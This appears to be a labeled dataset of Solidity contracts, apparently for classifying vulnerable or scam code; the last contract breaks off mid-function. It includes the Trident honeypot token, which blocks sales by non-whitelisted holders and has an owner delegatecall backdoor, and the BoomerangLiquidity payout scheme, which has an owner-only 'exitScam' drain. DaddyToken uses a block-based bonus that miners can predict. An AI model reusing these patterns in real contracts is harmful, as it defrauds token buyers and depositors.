mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public
{
totalSupply = initialSupply * 10**18;
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
_value = _value * (10**18);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract DaddyToken is owned, TokenERC20 {
uint8 public decimals = 18;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public sellTokenPerEther;
uint256 public buyTokenPerEther;
bool public purchasingAllowed = true;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function DaddyToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public
{}
function distributeToken(address[] addresses, uint256 _value) onlyOwner public returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
_value = _value * 10**18;
balanceOf[owner] -= _value;
balanceOf[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function enablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = true;
}
function disablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = false;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public returns (bool) {
mintedAmount = mintedAmount * 10**18;
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellTokenPerEther = newSellPrice;
buyTokenPerEther = newBuyPrice;
}
function() payable public {
require(msg.value > 0);
require(purchasingAllowed);
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * buyTokenPerEther);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier = ((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) + ((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) + ((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) + ((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balanceOf[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellTokenPerEther);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellTokenPerEther);
}
} | 1 | 4,727 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Trident {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,264 |
pragma solidity 0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract FLMContract {
function withdraw() public;
function buy() public payable returns(uint256);
function myTokens() public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
FLMContract flmContract;
function BoomerangLiquidity(uint multiplierPercent, address aFlmContract) public {
multiplier = multiplierPercent;
flmContract = FLMContract(aFlmContract);
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
deposit();
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance =- investment;
flmContract.buy.value(investment)();
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
if(!participants[payoutOrder].etherAddress.send(payoutToSend)){
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
}
if(balance > 0){
payoutOrder += 1;
}
}
}
function myTokens()
public
view
returns(uint256) {
return flmContract.myTokens();
}
function withdraw() public {
flmContract.withdraw.gas(1000000)();
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function exitScam() onlyOwner public {
msg.sender.transfer(address(this).balance);
}
} | 0 | 495 |
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
pragma solidity ^0.8.0;
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
pragma solidity ^0.8.0;
interface IAccessControlEnumerable is IAccessControl {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
pragma solidity 0.8.7;
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
pragma solidity 0.8.7;
contract LiquidityMiningManager is TokenSaver {
using SafeERC20 for IERC20;
bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE");
bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE");
uint256 public MAX_POOL_COUNT = 10;
IERC20 immutable public reward;
address immutable public rewardSource;
uint256 public rewardPerSecond;
uint256 public lastDistribution;
uint256 public totalWeight;
mapping(address => bool) public poolAdded;
Pool[] public pools;
struct Pool {
IBasePool poolContract;
uint256 weight;
}
modifier onlyGov {
require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied");
_;
}
modifier onlyRewardDistributor {
require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied");
_;
}
event PoolAdded(address indexed pool, uint256 weight);
event PoolRemoved(uint256 indexed poolId, address indexed pool);
event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight);
event RewardsPerSecondSet(uint256 rewardsPerSecond);
event RewardsDistributed(address _from, uint256 indexed _amount);
constructor(address _reward, address _rewardSource) {
require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set");
require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set");
reward = IERC20(_reward);
rewardSource = _rewardSource;
}
function addPool(address _poolContract, uint256 _weight) external onlyGov {
distributeRewards();
require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set");
require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added");
require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached");
pools.push(Pool({
poolContract: IBasePool(_poolContract),
weight: _weight
}));
poolAdded[_poolContract] = true;
totalWeight += _weight;
reward.safeApprove(_poolContract, type(uint256).max);
emit PoolAdded(_poolContract, _weight);
}
function removePool(uint256 _poolId) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist");
distributeRewards();
address poolAddress = address(pools[_poolId].poolContract);
totalWeight -= pools[_poolId].weight;
pools[_poolId] = pools[pools.length - 1];
pools.pop();
poolAdded[poolAddress] = false;
reward.safeApprove(poolAddress, 0);
emit PoolRemoved(_poolId, poolAddress);
}
function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov {
